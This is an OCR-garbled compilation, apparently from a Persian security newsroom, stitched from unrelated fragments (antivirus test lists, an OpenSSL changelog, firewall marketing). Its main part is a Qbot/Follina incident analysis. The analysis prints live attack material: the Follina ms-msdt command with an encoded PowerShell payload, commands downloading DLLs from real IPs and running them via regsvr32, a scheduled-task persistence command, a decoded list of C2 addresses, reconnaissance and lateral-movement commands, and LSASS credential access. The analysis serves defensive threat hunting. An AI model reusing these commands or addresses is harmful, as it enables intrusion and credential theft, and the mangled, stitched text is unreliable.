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e Acronis Cyber Protect with Advanced Security Pack 15.0

e Avast Ultimate Business Security 22.7 - 22.9

e  Bitdefender GravityZone Business Security Premium 7.7

e CrowdStrike Falcon Pro 6.45

e ESET PROTECT Entry ESET PRPTECT Cloud 9.0

e G Data Endpoint Protection Business 15.3

o Kaspersky Endpoint Security for Business — Select, with KSC 11.10
e Microsoft Defender Antivirus for Business 4.18

e VMware Carbon Black Cloud Endpoint Standard 3.8
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¥ Threat blocked, no C2 session, system protected 1 point
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«  Protection result invalid, as also non-malicious scripts/functions were blocked N/A
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### Changes between 3.0.6 and 3.0.7 [1 Nov 2022]

* Fixed two buffer overflows in punycode decoding functions.

A buffer overrun can be triggered in X.509 certificate verification,
specifically in name constraint checking. Note that this occurs after
certificate chain signature verification and requires either a CA to
have signed the malicious certificate or for the application to continue
certificate verification despite failure to construct a path to a trusted
issuer.

In a TLS client, this can be triggered by connecting to a malicious
server. In a TLS server, this can be triggered if the server requests
client authentication and a malicious client connects.

An attacker can craft a malicious email address to overflow

an arbitrary number of bytes containing the °.  character (decimal 46)
on the stack. This buffer overflow could result in a crash (causing a
denizl of service).

( [CVE-2822-3786])

An attacker can craft a malicious email address to overflow four
attacker-controlled bytes on the stack. This buffer overflow could
Tesult in a crash (causing a denial of service) or potentially remote code
execution depending on stack layout for anmy given platform/compiler.
([CVE-20822-3602] )

*Paul Dale*
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HIGH AVAILABILITY ENHANCEMENTS

Redundant HA Links

o Y
Use multiple links, LAG, or VLAN |
to provide added redundancy TOPPY v

Custom Node Names

Provide unique names for each
node to better identify them
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New HA status and widget provides
clear insights at-a-glance
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VLAN Monitoring
Adds VLAN interface monitoring
for Active-Passive failover
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Archive: doc532.docx
inflating: extract/[Content Types].xml
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inflating: extract/word/fontTable.xml
inflating: extract/word/settings.xml

inflating: extract/word/styles.xml

inflating: extract/word/webSettings.xml
inflating: extract/word/theme/themel.xml
inflating: extract/word/ rels/document.xml.rels
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ms-msdt:/id PCWDi

/skip force /param "IT_RebrowseForFile=?

IT_LaunchMethod=ContextMenu IT |

=S (Invoke-Expression ($ (Invoke—

d e ed i d . [Windows/Systen3d/mpsigstub. ex

=l g yumas - MSDT )Laisl 4 - Microsoft Support Diagnostic Tool )lnl kuwgi cul piscawl Follina plp s o5 aiwuw
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LogName=Security

EventCode=4688

EventType=@

ComputerName=

SourceName=Microsoft Windows security auditing.
Type=Information

RecordNumber=58524

Keywords=Audit Success
TaskCategory=Process Creation
OpCode=Info

Message=A new process has been created.

Creator Subject:
Security ID:
Account Name:
Account Domain:
Logon ID: @x118BE1B

Target Subject:
Security ID: 5-1-8-8
Account Name: -
Account Domain: =
Logon ID: oxe

Process Information:

New Process ID: Oxbfd

New Process Name: C:\Windows\System32\msdt.exe

Token Elevation Type: %%1936

Mandatory Label: 5-1-16-8192

Creator Process ID: @x1e4d

Creator Process Name: C:\Program Files\Microsoft Office\root\0fficel6\WINWORD.EXE

Process Command Line: "C:\Windows\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_Br

owseForFile=$(Invoke-Expression($(Invoke-Expression(' [System.Text.Enceding]'+[char158+[char]58+ Unicode.GetString([System.Convert]'+[char]58+[char]58+ ' FromBase645t
ring('+[char]34+' JABWACAAPQAEACQARQBUAHYAOEBBAGUADOBWADSASOB3AHIAT ABoAHQAJABWADOALWAVADEAMAABACAAMWAZACAAMEAY ADKAL EAXADMAOQAVACQAKABYAGEADEBKAGBADQADACAAZABRAHQATA
AtAEBAdQBOAEYAZQBSAGUATAAKAHAAXABOACAAQQATAGKADWBYACAAZABBAHDACAAGACBALWA4ADUAL ZAYADMADQAUADUANQAUADT AMEAACBATAAOAHT AYQBUAGQADWB tACKAL EBKAGEAdAAZACOATWE 1 AHQAREBPA
GWAZQAgACQACABCAHQAMQAUAEEADWBpAHCACEAEAGEAdABBAHAADEAVACBAMQA4ADUAL EAYADMANAAUADTANAA3ACAAMQAXADKALWAKACEACEBAGAAZABVAGBAKQAUAGOAYQBBACAAL QBPAHUAJABGAGKADABLACAA
TABWAFWAdAAYAC4AQQATAHIAZOBNAHMAdEBYADMAMEAZACQACABCAHQAL EBBADSACEB] AGCACWBZAHT AMWAY ACAA TABWAFWAdAAXACAAQQAT AHI AZQBNAHMAdEBY ADMAMEAZ ACQACABCAHQAMEAUAEEA ' +[ char 13
AN MWindows/ System32 /mpsigstub. exe”

bl 5l G 35 034 (RLiShe) oyt 35 .39 00db (513535 base-64 (g, 4 45 39 PowerShell con)Suwl (g5l> yie 35 las ol 5>
39di5e o EventiD 4104 (Logging block script) ;> PowerShell kg3

LogMame=Microsoft-Windows-PowerShell/Operational

EventCode=4104

EventType=5

ComputerName=

User=NOT_TRANSLATED

S51d=5-1-5-21-2305598449-1564225094-2953443992-1153

SidType=0

SourceName=Microsoft-Windows-PowerShell

Type=Verbose

RecordNumber=219192

Keywords=Naone

TaskCategory=Execute a Remote Command

OpCode=0n create calls

Message=Creating Scriptblock text (1 of 1):

$p = $Env:temp;iwr http://1084.36.229.139/%(random).dat -OutFile $ph\t.A;iwr http://85.239.55.228/%(random).dat -OutFile $p\|
t1.A;iwr http://185.234.247.119/%(random).dat -OutFile $p\t2.A;regswr32 $ph\t.A;regsvr32 Sp\t1.A;regswr32 Sph\t2.A

ScriptBlock ID: 1756b92a-c481-4919-a4d4-95f9946ca971
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23 9 >0 )8 IS Temp adbgy )d ) o blé S0 dolils calize URL aw jl 1) Qbot sladilsouls Follina wugluws! Payload
iS50 ol ) DLL (gl old regsvr32.exe (5550 b colgs

$p = SEnv:temp

iwr http://104.36.229.138/% (random) .dat -CutFile $p\t.R
iwr http://85.235.55.228/% (random) .dat —OutFile Sph\tl.RA
iwr http://185.234.247.119/S (random) .dat —-OutFile Sph\t2.2
regsvr32 $ph\t.2

regsvr32 Spl\tl.2

regsvre32 $p\t2.n

Jes

Jgiuno duogyy oyl .2 sl (Scripted Diagnostics Native Host) sdiagnhost.exe jl (gaaaz 45903 MSDT oy 35 (sha! jl m
3,3 sleul 1y regsrv32.exe b 4 (Child Instance) digas aw cas ¢l )3 a5 > Follina oyze 45 (Silgsl)e

#
EventCode = TaskCategory = o~ ParentCommandLine = i CommandLine = o CurrentDirectory = Fd

1 Process Create (rule: C:\Windows\System32 "C:\Windows\system32\regsvr32.exe" C:\Users C:\Users\ \AppData‘\Local
ProcessCreate) \sdiagnhost.exe -Embedding \ \AppData\Local\Temp\t2.A \Temp\SDIAG_15c1caff-3938-4ad2-a3ff-50405ac7f3d6N

1 Process Create (rule: C:\Windows\System32 "C:\Windows\system32\regswr32.exe" C:\Users C:\Users\ \AppData‘\Local
ProcessCreate) \sdiagnhost.exe -Embedding \ \AppData‘\Local\Temp\t1.A \Temp\SDIAG_15c1caff-3938-4ad2-a3ff-50405ac7f3d6\

1 Process Create (rule: C:\Windows\System32 "C:\Windows\system32\regsvr32.exe" C:\Users C:\Users\ \AppData\Local
ProcessCreate) \sdiagnhost.exe -Embedding \ \AppData‘\Local\Temp\t.A \Temp\SDIAG_15¢c1caff-3938-4ad2-a3ff-50405ac7f3d6N

B ol g0 syl %localappdata%\Diagnostics awgy > PCW.debugreport.xml ob a4 XML (bl «oysn 35 gyl 51 Gu
S35 )3 OypBe A5 yume DI L3 (w3550 FOIIING I (53950500 6950 Judos plSim 53 pge 63 (6)Siwd (ld SO lgic 4 ¢lgise |
ol 03 ausd (B (ol )3 @i )3 hal (gl sadd (530S yBe 35wl 6ais 2)5 XML (L @ bgyye TargetPath

Action F 4 Initiating Process  »#  Initiating Process Parent
Type = Folder Path = g File Name = g File Name = File Name =

FileCreated C:\Users\ \AppData\Local\Diagnostics\733862231 PCW.debugreport . xml msdt.exe WINWORD.EXE

\2022060714. 000

(S)Li\.’)l.o

dols] ) .).JJlQJL’A |) B |)?| Uln).é )l (5’ dJSA) ,AJSL,A )lf.ijo i (69) I |) 39b tL’JLJL) blay ) W) Lgh.}olnj U..\Al)Q .)LQJ! lJ QbOt
138 od ol

schtasks.exe /Create /F /TN "{ESRADER3IT-C329-49¢7-5CF5-2682DRATDS7BE}" /TR "cmd /c start
/min \"\" powershell.exe -Command
IEX ([System.Text.Encoding] : :ASCII.GetString ([System.Convert]::FromBaseé4String [ (Get—

ItemProperty —Path HECU:\SOFTWARE\Benfougcgqg) .rxftejkhydnwmpt) )}
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1Fol 3T | wleWbl (g)9lis casiol doliolo

< Microsoft-Windows-TaskScheduler/Operational 4 bgie SY )3 sxdis (gainple) (aelyd Jowwgs odd dloul (slaslagg,

950

LogMame=Microsof t-Windows-TaskScheduler/Operational
EventCode=186

EventType=4

ComputerName=

User=NOT_TRANSLATED

5id=5-1-5-18

SidType=0
SourceName=Microsoft-Windows-TaskScheduler
Type=Information

Recordiumber=8241

Keywords=None

TaskCategory=Task registered

OpCode=Info

Message=User registered Task Scheduler task "\{E9JADEA37-C329-4967-9CF5-2682DATDITBE}"

ol 034 031> Eloyl WS (o0 39T 1) (93lal pdlae a5 Registry auls <« PowerShell a5 sls ¢Lis eass (gailoj (paolyd Jul=s
PBL Oglate Blgie 503 (L ekl b (SLL 4k o (g9) p ol e

<Arguments>/c start /min " powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString
([System.Convert]: :FromBase64String((Get-ItemProperty -Path HKCU:\SOFTWARE\Mbdmoasecswonf).mlrgbhheu)))</Arguments>
</Exec>
</Actions>
<Principals>
<Principal id="Author">»
<UserId»S-1-5-18</UserId>

2bse baseb4 b oas (¢)l3535 iy o Jolis Registry sl ¢l (gloosls

Value Type Data

g!ﬂ yagwredzbufpn REG_S7 Hlef2 OB O Microsoft RSA SChannel Cryptographic Provider

59:] makoafsiaypggo REG_S5Z MzguMzAuMjUzLiTyNjoyMilyOzE4Mi4xOTEUOTIuMjAzOTk SNTszMy4xODYUNTQUML
ab) mirgbhheu REG_SZ i E O OoROEOs O
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1> piled @90 ol @21 QBOL 13810 C2 j9,m @ by ooy 9 IPVA gloili :haseb4 b oads (13535 aid) (ldSje

From Base64

Alphabet
A-Za-z0-9+/=

Remove non-alphabet
chars

MzguNzAuMjUzL]IyNjoyM]Iy0zE4M14x0TEUOTIuM]AzO] kSNTszNy4x0DYuNTQuM]Ue
03 kSNTsxNDAUODIUNJMUMTgz0jQeMzSOMS44N140Mi4xNTgBOTk10Z2g5L jEWMSASNy4x
Mzk6NDQz 0z IWMSAxXNDUUMTY1Lj 1103 QOMz sxNzMuMj EUMTAUNZEGM] TyMjsAMidems42
~  |My4yMTcENDQzO0zczLjE1MSAyMzYuMzEGNDQz0ZzEROSAy0CAyMzguMT k50 QEMzsaMyax
MTAUMjE4LjE@NZ050TM70DYUMTK1LjE10CAXNZgEM] TyMjsxMjAUN]EUMSAXMTQBNDQZ
0zEOMCA44Mi400S4xMjoONDM70DYuOTcu0SAx0TABNDQz0zkyL JEZMi4xNzIuMTk30] Iy

[ strict mode | wj17MjAxLjEOMi4xNZCUMTY40]QeMzS A1 AXNTTuMzkuMzkENDQZ02Q1L Q2L jUzL jE0

MDoyMj Ty0zcxL i TOLFEXOCAYNTMENDQZ0ZQ1L 2L E2Ny4yN]oBNDM7MTQEL | TwMidy
LE3NTO50TU7MI QUNTUUNT cuMTc207Q8MzsxMiUuMIQuUMTg3LIE4MzoONDMTMI QUMTCA
LIESNi4xNTg6Mj TyMisx0DcuMjA3LIEZMS41MDO2MT IwM] S30C4xXMDEUMTKzZL ] TOMT02
0Dgz0z IWMi4xMzQuMTUYLJI6M] IyMjsxMDMuMjQ2LjI6MidyMDIGNDQz0ZMSLIUYLjQx
LjgwOjkSNTsx0DcuMjUxLJEzMi4xNDQ6M] I7NzIuMjcuMzMuMTYw0 ] QOMzsxMDIUMT gy
LjIzMi4z0jkSNTsxNzYuNjcuNTYuOTQ6NDQz0z IwMS4xNzIuMjMuN] g6M]jIyMjszNydz
NC4yNTMuMjMz0jQOMzs5NCAYNiI4xMjIuOTo50TUZNS4ZM140MS4GNT0ONDM70TYUMzZCu
Oik idx i

M M

start: 2631 time: oms

Output end: 2631 length: 2623 [ I_D m ra

length: ] lines: 1

38.70.253.226:2222;182.191.92.203:995;37.186.54.254:995;140.82.63.18
3:443;41.86.42.158:995;89.101.97.139:443;201.145.165.25:443;173.21.1
0.71:2222;82.41.63.217:443;73.151.236.31:443;149.28.238.199:443;83.1
10.218.147:993;86.195.158.178:2222;120.61.1.114:443;140.82.49.12:443
186.97.9.190:443;92.132.172.197:2222;201.142.177.168:443;82.152.39.3
9:443;45.46.53.140:2222;71.24.118.253:443;45.76.167.26:443;144.202.2
.175:995;24.55.67.176:443;125.24.187.183:443;24.178.196.158:2222,;187
.207.131.50:61202;76.101.193.241:6883;202.134.152.2:2222,;103.246.242
.202:443739.52.41.80:995;187.251.132.144:22;72.27.33.160:443;102.182
.232.3:995;176.67.56.94:443;201.172.23.68:2222,;37.34.253.233:443;94.
26.122.9:995;5.32.41.45:443;96.37.113.36:993;93.48.80.198:995;148.64

ol 035 L1 Gyl3S ol G539 (slolis i 53 C2 o IPVA @ bgiso (sloilis

@ bgye RCODEQ jlade L DNS (slocuwlss)s buwgs ¢ oddi saolive diold (o3lass )3 15 SysWowb4\Explorer.exe dawgy

Cawl 834 6313 (s (Uas (930) QueryStatus

= cemavimx.com

=— cursosfnn.com

= dwm-me.com

— edifica.ro

— egofit.co.uk
foxmotorent.com
gruposolel.com
ibuonisani.it
incredibletadoba.com

www.coolwick.com

18:00 20:00

QueryName =

mail.smtp2go.com

mail.myfairpoint.net

inbound.att.net

smtp-relay.gmail.com

imap.gmail.com

22:00 00:00 02:00 04:00

- www.ajparts.co.uk

www.framemymirror.com
www.stanzatextbooks.com

b G Jaadl pmgye @ bgape SLS) el 2 ogle

F d Image =
C:\Windows\SyswOw64\explorer.exe
C:\Windows\SyswOw64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe

C:\Windows\SyswOw64\explorer.exe
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\Eo) )3T |

S0 ol )l Bgyes (o sl © Oyze 1S GiSols g (! Ll yasges) Process Hollowing (ivgy (525,50 « QBot )l5éls
U 9 b (gjlalely Suspend wdls s (3940 pasuive CAWINdows\SysWOW64 5 sslaiwl b aS) explorer.exe (siw WY duus

a8)S 1) aslaiuwl 3yg0 (3255 Cagm B SO lgic @

LogName=Security
EventCode=4688
EventType=8
ComputerName=
SourceName=Microsoft Windows security auditing
Type=Information

y=Process Creation

e=A new process has been created

Creator Subject
Security ID
Account Name
Account Domain
Logon ID @x118BE1B

Target Subject
Security ID 5-1-08-0
Account Name -
Account Domain -
Logon ID ox0

Process Information
New Process ID

New Process
Token Elevation Type

ame

5-1-16-8192

Process Command Line

o malfind ¢ Volatility slodgjle (525150 b 6ddd §2)55 (loawgyy ome abbls 4y bgye Process Hollowing Julss g (swyp b
bad )3 MZ ;e g VAD PAGE_EXECUTE_READWRITE X5 g explorer.exe Joli a5 (529, . 35590 (plwlics g cadis JB (isl)

Cawl dddls 5D dwgy GpP Sz (;,:;Lgl) L};lﬁz>(;,§:}35; (1;])| S Cawl ddls
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\Fol )3T |

23 093G 1) gy jl sligas g0 48)S )1, explorer.exe g FY 5o (sodigas ) Gu)j 9 Sl gz @xplorer.exe awgy
)3 &S ASse @y TargetProcessld: 3592 « 1y DLL <5 9 wawl QBOt @ (gleio SourceProcessld: 11672 .55 saoliw dolsl

<l Cobalt Strike )ljl C2 jguw @ bgiye lblis)l jl iz 45 3 Hasuie Juloxd s

LogName=Mi crosof t-Windows-Sysmon/Operational
EventCode=10

EventType=4

ComputerName=

User=NOT_TRANSLATED

sid=5-1-5-18

SidType=6

SourceName=Microsoft-Windows-Sysmon

Type=Information

RecordNumber=105568

Keywords=None

TaskCategory=Process accessed (rule: ProcessAccess)
OpCode=Info

Message=Process accessed:

RuleName: technique_id=T1055.0@1, technique_name=Dynamic-link Library Injection
UtcTime:

SourceProcessGUID: {4a2b363d-671a-629f-4d2a-000000000800}
SourceProcessid: 11672 -f———

SourceThreadld: 9424

SourceImage: C:\Windows\SysWOW64\explorer.exe
TargetProcessGUID: {4a2b363d-6a16-629f-902a-000000000800}
TargetProcessId: 3592 <———

TargetImage: C:\Windows\SysWOW64\explorer.exe
GrantedAccess: @x1FFFFF

o3> gulai Volatility ¢ netscan sloJgile (652550 b aSuis @lbli)l daduwgyy ¢l (slopl g (5855 (slodwgyy (glodwlids jl oslsuwl b

515 sesls) B (lwliss Cobalt Strike (PID: 5620) ¢ Qbot (PID: 3992) saub (3,55 eXplorer awgyy 93 yo dsuis )d g b

Volatili

Offset

Framework

Proto

69b260

laddr

10.

0.0.0

0.0.0.

(ol 03ss cdly)s (L8 SY @ Caws (Sglaie (cloolSiuws

ForeignAddr ForeignPort state PID Owner

20 ESTABLT. p 2022 L 6.000000

7001 .0. G e 600000
47001 LISTENING - e 000000

LISTENING X .000000
LISTENING 7.000000
17.0600000
41 .000000
16.000000
16.000000
202 0.000000
16.000000
17.000000
17.000000
17.600000
17.000000
000000
000000
000000

ol d>yo )5 @ Windows Defender s sbitiwl lgic 4y cdiS(se 6,u3 15T )5 |y (5381, oy (sl uld Qbot oS Lalie (slodig

g0 2 s )3 (5)535o Cag> @2 9
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1Fol ,5T | wlewbl (6)9ls ol aolilo

iwcdbol elelbl ¢épuw

Spse by & Credential Manager jl 1) iwedlol esleMol Qbot sl

unt Managesent

MessagerCredential Manager credentials were resd.

Subject

Account Domain
Logon ID: ox1108E18
Read Operation: Enumerate Credentials

This event occurs when & user perforss a read operation on stored credentials in Credential Kanager

Mimikatz ,ubs5 (g Il .2)S @olyd LSASS awgy )3 1) aiidy S ) SoSho (uyiens (lSel i35 awgyy 3390 (slopiunw jl (S2)
3940 po)8 15 wyiwd 2ohw B S50 Cawlgs)d | wyiwd abaw ¢pl dél

PROCESS_VM_READ (0x0010) o
PROCESS_QUERY_INFORMATION (0x0400) o
PROCESS_QUERY_LIMITED_INFORMATION (0x1000) s
PROCESS_ALL_ACCESS (OTfffff) e

Wl 034 (Su0yy g 0dolie X470 (LS jl walizee uyiwd plaw 95 )3 EXplOrer sas @55 dwgyy 5| LSASS awgyy Joles
LogName=Microsoft-Windows-Sysmon/Operational

EventCode=10
EventType=4

ComputerName=1
User=NOT_TRANSLATED
Sid=5-1-5-18

SidType=0

our icrosof t-Windows-Sy.

Type=Information

RecordNunber=371755

Keywords=None

TaskCategery=Process accessed (rule: ProcessAccess)

OpCode=Info

Message=Process accessed:

RuleName: technigue_id=T1055.001, technique_name=Dynamic-link Library Injection

UtcTime:

SourceProcessGUID: {89b4d335-7bbb-629f-a279-000000000300}

SourceProcessId: 5792

SourceThreadId: 1540

SourceImage: C:\Windows\SysWow64\explorer.exe

TargetProcessGUID: ({89bdd335-7de7-6291-6c00-000000000300}

TargetProcessld: 732

TargetImage: C:\Windows\system32\lsass.exe

CallTrace: C:\Windows\SYSTEM32\ntdll.d11+9d1e4|C: \Windows\System32\wow64.d11+18955|C: \Windows\System32\wowbd
91C: \Windows\SYSTEM32\ntd11.d11+74b73] C: \Windows\SYSTEM32\ntd11. d11+74b1e|C: \Windows\SYSTEM32\ntdl1.d11+72bec
C:\Windows\System32\KERNEL 32.DLL*1a29(wow64) |C: \Windows\SYSTEM32\ntd11.d11+67a4e(wows4) | C: \Windows\SYSTEM32\
SourceUser: NT AUTHORITY\SYSTEM

TargetUser: NT AUTHORITY\SYSTEM

awayy bawss OXTFFFFF (PROCESS_ALL_ACCESS) Ly @> b (LSASS Joles (ruSilie oliwd <Xy > gi5 ol 2 oglle

950 Jolid 1y o3laug) 5l (5295 (B azxs jlias ¢l 59y Caclw 93 1 )5 3)90 Hl50 13 LJ).O.J explorer
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15.000
10.000

— 1828
B0 — 7612

20:00 00:00 04:00

D90 )'Lf:T 0 S i ) (582)35 dwgy @b )l Qbot buwgs yj 03k (plwlids (yaolyd

TaskCategory * Parentimage #  Commandine +
Process Create (rule: ProcessCreate) C:\Windows\SysWON6&\explorer . exe whoami /all

Process Create (rule: ProcessCreate) C:\Windows\sysWON6&\explorer. exe cnd /c set

Process Create (rule: ProcessCreate) C:\Windows\SysWON6&\explorer . exe net view /all

Process Create (rule: ProcessCreate) C:\Windows\sysWON6&\explorer. exe ipconfig /all

Process Create (rule: ProcessCreate) C:\Windows\sysWON6&\explorer .exe net share

Process Create (rule: ProcessCreate) C:\Windows\SysWON6&\explorer. exe nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs SDOMAIN

Process Create (rule: ProcessCreate) C:\Windows\SysWON6&\explorer . exe net localgroup

Process Create (rule: ProcessCreate) C:\Windows\SyswoNe4\explorer..exe netstat -nao

Process Create (rule: ProcessCreate) C:\Windows\SysWON64\explorer . exe route print

Process Create (rule: ProcessCreate) C:\Windows\SysWON64\explorer. exe net group /donain

Process Create (rule: ProcessCreate) C:\Windows\SysWON64\explorer . exe net group "Domain Computers” /domain

Process Create (rule: ProcessCreate) G -exe C:\wi exe /C c: ive\nltest.exe /domain_trusts /all_trusts

whoami /all
cmd fc set
net view /all
ipconfig /all

net share

nslookup -querytype=ALL —timesut=12 ldap. tcp.dc. msdcs.DOMAIN

net localgroup
netstat —nao
route print

net group /domain

net group "Domain Computers" fdomain

C:\Windows\System32\cmd.exe /C c:\windows\sysnative\nltest.exe /domain trusts fall trusts

2 030line 5 (6,505 ()8 @ienmss 53 035 G35 Cobalt Strike awgyy 1 gy cyuolyd dasy

net group "domain controllers™ /dom

net group "domain admins" /dom

C:\Windows\system32\cmd.exe /C ping —n 1 <Redacted>
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1Eo) 3T | wlebl (6)9lid ol aolinlo

b )=l Active Directory disls > loyiguelS (soled (lwliss (glp ADFING qaiwans ¢las )

+ Initiating Process Parent File Name = _ Initiating Process Folder Path = | Initiating Process Command Line = Process Command Line =
explorerexe c\windows\syswowb4\cmd.exe cmd.exe /C C'_ £ adfind.exe -f
objeclcategory=computer -csv objectcategory=computer
name cn OperatingSystem -CSv name cn
dNSHostName > OperatingSystem
C dNSHostName

51 eslaswl L 1) oddb &Sl)l SoftPerfect buwgi a5 Network Scanner (netscan.exe) pb @ (g)lpl plaslge 39 pg> jgy 5>

.33,5 s6lils Domain Controller g, » Internet Explorer

Action Type = Initiating Process Parent Flle Name = | Initiating Process Folder Path ¢ || Initiating Process Command Line = || Local IP 2 | LocalPort 2 | Remote IP & Remote Port & | Remote Url 2
ConnectionSuccess b Ot & vt 57348 198211116136 443 weew soipertect.com
explorerexe c:\program files\internet “iexplore.exe” netscan_portable.zip

exploreriiexplore.exe

88 )18 oslaiwl 5y90 TCP 3389 g TCP 445 (slol5)s )5 )b ¢l (g gz 1503 <)y Sy (s5l5lely (gl 1ol (2l

Jyl dlas g 3933 (lej as yuwlyw )3 api.ipify.org a ) gloygs (glocuwlys>)s ATERA gy @)k 51 SysSWOW64\Explorer awgy
el 034 032l 525 (L8 Va5 IPIfy.Org (6,510 .34 eslaiwl aSuid (segac IPV4 (Sl puss (gl Llgi e Ipify.org .ais e

T I E——S
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\Fol )3T |

69 J1)9> ol jl @90 @2 Qbot 181w DLL (slolé (Lateral Movement) aSu )5 jgloe (slopivnm @) 3985 aiels (byinS cag
AJyuL,,a b):\'pb 4&.\“; LSLlei;'wu.) ﬁlw Cs 4409) $9) 2 039JT oKiwd Q:‘.‘J9]

Action Type = = Initiating Process Folder Path < Fd Folder Path = i File Name =

FileCreated c:\windows\syswow64\explorer.exe \hie. L43\C3 xyxfdflkdidigs.dll
FileCreated c:\windows\syswow64\explorer.exe \\ie. L44\CS liidfxngjotktx.dll
FileCreated c:\windows\syswowG4\explorer.exe ‘e, .45\C% upgpzgevbknwj . d11
FileCreated c:\windows\syswow64\explorer.exe \\ie. .46\CS pgbhaeemxglwe.dll

gy 0aolive (BB aSuid > Zeek SMB File sloosly )5 padg @ (puizan Glilac ¢l

Qbot )l33la @y bgsye DLL (gly=l (glp regsvr32.exe jl sslaiwl b g 3 sloul 135 3590 (gl j1 SOy )3 525 (oo Guagpuw SO
22,5 (g3

LogName=System

EventCode=7045

EventType=4

ComputerName:

User=NOT_TRANSLATED
5id=5-1-5-21-2305598449-1564225694-2953443992-1153
5idType=0

SourceName=Microsoft-Windows-Service Control Manager
Type=Information

RecordNumber=108628

Keywords=Classic

TaskCategory=None

OpCode=The operation completed successfully
Message=A service was installed in the system

Service Name: ogtawhe

Service File Name: regsvr32.exe -s \\1@ 4\C$\liidfxngjotktx.d1l
Service Type: user mode service

Service Start Type: auto start

Service Account: LocalSystem
Collapse

1253)S (bl ) (umgyw cud sdldg) e g 95 ol) I (slo Jold @o o5 Suricata globaol
e ET RPC DCERPC SVCCTL - Remote Service Control Manager Access

e ET POLICY SMB Executable File Transfer ET POLICY SMB2 NT Create AndX Request For a DLL File -
Possible Lateral Movement
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1Fol ,5T | wlewbl (6)9ls ol aolilo

SCIP(Couniry - SrcPert - DsiIP/Country -DetPort - Packols - Dalabyws/ lnfo

[ azas 0

Byes
@ i 0 D Shrsoes | T APG DCERPG SVOCTL - el Servcs Gore Mg Access:
= Catgory  ampo Usor Priioga G
Auten st
Sy 1
Sk 217217
- s 11 1amn 8 Shrasee - | FT POLICY SHD Fxocutstio i Tarefr FTFOLICY Sz T Crete A R For 2 DLL Pl - ol L vt
e Calegry - Potetaly B Tl

Serans 0+ 2025708 2009

i 1y=1 Qbot Hlidlay DLL (Sle31)6 51 Guo (0665 <ae 3335 (uagyw

LogName=Microsof t-Windows-Sysmon/Operational

EventCode=
EventType=4
ComputerName=

User=NOT_TRANSLATED

Sid=5-1-5-18
SidType=a

SourceName=Microsof t-Windows-Sysmon

Type=Information

RecordNumber=371266

Keywords=None

TaskCategory=Process Create (rule: ProcessCreate)

OpCode=Info

Message=Process Create
RuleName: technique_id=T1117,technique_name=Regsvr32

UtcTime:

ProcessGuid: {89b4d335-Tbaa-629f-9e79-000000000900

ProcessId: 2696

Image: C:\Windows\System32\regsvr32.exe
FileVersion: 10.8.190841.1 (WinBuild.16@1@1.0308)

Description: Mic

rosoft(C) Register Server

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

QriginalFileName: REGSVR32.EXE
CommandLine: regsvr32.exe -s \\1@ 43\CH\xyxfdflkdidigs.d1l
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM
LogonGuid: {89b4d335-7de8-6291-e703-0000000000007

LogonId: @x3E7

TerminalSessionId: @

IntegritylLevel: System

Hashes: SHA1=807C2FD354363DAEEG3ESF591ECS2FASDRE23FEF ,MD5=BOC2FA35D14A9FADI19E99D9DTSETBIE
ParentProcessGuid: {89b4d335-7de7-6291-8bBA-000BEEEBR900}

ParentProcessId

712

|ParentImage: C:\Windows\System32\services.exe |

ParentCommandLine: C:‘\Windows\system32\services.exe

253,550 o3laswl File Server ¢ Domain Controller aiile aSii )3 33290 (slopimn w0 amow gl RDP jl (puizan (lazlge

newsroom.shabakeh.net

LogName=Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational
EventCode=1149

EventType=4

Computeriame=

User=NOT_TRANSLATED

sid
SidType=0

Sour icrosoft

inde erminalServi eConnecti 4
Type=Information

RecordNumber=56

Keywords=None

TaskCategory=None

OpCode=Infa

Message=Remote Desktop Services: User authentication succeeded:

User:
Domain:
Source Network Address:
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1Eo) (3T | wleMbl (g)9lid ol doliole

(_g).g)lS Olus qu la.uug) dwg)y L'):‘!l &9)4» .l RDP dbaﬁl 039 );,o]-wnsgo )'l G)igb Glis Bao oK ) rdpclip.exe awgy) Sleul
ol RDP Juasl jousuis Jle sloivg 51,505 o (Non-human) e

LogName=Security

EventCode=4638

EventType=o

ComputerName=

SourceName=Microsoft Windows security auditing.
Type=Information

RecordNumber=93162

Keywords=Audit Success
TaskCategory=Process Creation
OpCode=Info

Message=A new process has been created.

Creator Subject:
Security ID: 5-1-5-28
Account Name:
Account Domain:
Logon ID: ox3E4

Target Subject:
Security ID: 5-1-0-8
Account Name:
Account Domain:
Logon ID: @x314FE

Process Information:

Mew Process ID: 8x574

New Process Mame: C:\Windows\System32\rdpclip.exe
Token Elevation Type:  %%1936

Mandatory Label: 5-1-16-12288

Creator Process ID: ox168

Creator Process Name:  C:\Windows\System32\svchost.exe
Process Command Line: rdpclip

osl> Cdyuw g 2lydiuwl
ol 03)S o3kl (530)8 6Bl I ulus Glelbl ey ¢ ghiiwl tge Lalise glodgjle jI Qbot sl

A 1 Egibge ol (5218 A0l (gl (gaoleds (Jlo ¢l b .aib (gjlaslely Jual (sloply &by (gl Vlasis! 15 Outlook )liéle,s

LogName=Security

EventCode=4638

EventType=0

ComputerName=

SourceName=Microsoft Windows security auditing.
Type=Information

RecordNumber=58853

Keywords=Audit Success
TaskCategory=Process Creation
OpCode=Info

Message=A new process has been created.

Creator Subject
security ID
Account Name
Account Domain:
Logon 1D: 0x110BE1B

Target Subject:
Security ID 5-1-6-0
Account Name: -
Account Domain: -
Logon ID axo

Process Information:

New Process ID: ox2e2c

New Process Name: C:\Windows\SysWONG4\cnd . exe

Token Elevation Type:  %%1936

Mandatory Label S-1-16-8192

Creator Process ID: ax201c

Creator Process Name:  C:\Windows\SysWowe4\dllhost.exe

Process Command Line: cmd.exe /c start "' "C:\Program Files\Microsoft Office\Root\0fficel6\OUTLOOK.EXE"
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Microsoft Edge ¢ Internet Explorer jl ;5,90 (glossls 21yl gl Windows esentutl.exe 151> )lpl jl puizas Qbot sl
23S odlaiwl

esentutl.exe /r W01 /1"c:\Users\<redacted>\ZppData\Local\Microscft\Windows\WebCache"
/s"C:\Users\<redacted>\AppData\Local\Microsoft\Windows\WebCache™ /d4d"C:\Users\

<redacted>\AppData\Local\Microsoft\Windows\WebCache"”

